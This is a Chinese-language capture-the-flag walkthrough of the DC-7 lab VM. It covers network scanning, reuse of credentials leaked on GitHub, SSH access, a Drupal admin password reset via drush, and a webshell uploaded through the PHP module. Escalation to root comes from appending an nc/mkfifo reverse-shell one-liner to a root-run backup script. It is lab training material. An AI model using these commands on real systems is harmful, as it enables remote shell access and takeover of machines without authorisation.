信息搜集
首先获取目标ip。
arp-scan -l
nmap -sP 192.168.28.0/24
得到目标ip为:
192.168.28.139
先访问页面。
翻译一下。
欢迎来到 DC-7
DC-7引入了一些“新”概念,但我会让你弄清楚它们是什么。 :-)
虽然这个挑战并不是那么技术性,但如果您需要诉诸暴力破解或字典攻击,您可能不会成功。
你要做的,是“跳出框框”思考。
“在”盒子外面。 :-)
提示说明本题不需要爆破密码,下边又发现了一个提示。
账号密码获取
直接搜索DC7USER,staffdb/config.php at master · Dc7User/staffdb (github.com)
发现账号和密码。
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
但是却没法登录,扫目录也没发现其他登录服务,利用nmap扫描一下端口。
nmap -sV -A 192.168.28.139
发现开放22端口,尝试ssh登录,成功。
ssh dc7user@192.168.28.139
然后在该用户下发现邮件信息。
修改密码
发现sh执行文件,查看。
cat /opt/scripts/backups.sh
发现drush命令,使用该命令修改admin的密码。
drush user-password admin --password="123456"
成功。
反弹shell
登陆后在Extend中发现可以安装模块,尝试安装php模块。
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
下载后解压上传即可,然后上传webshell。
编辑完成后保存访问,同时本地打开接收。
然后进入交互模式。
python -c 'import pty;pty.spawn("/bin/bash")'
无法找到flag,尝试提权,利用刚刚的可执行文件提权,设定定时任务。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.28.142 4444 >/tmp/f" >>back*
得到flag
时间有点长,反弹后直接到root中找flag即可。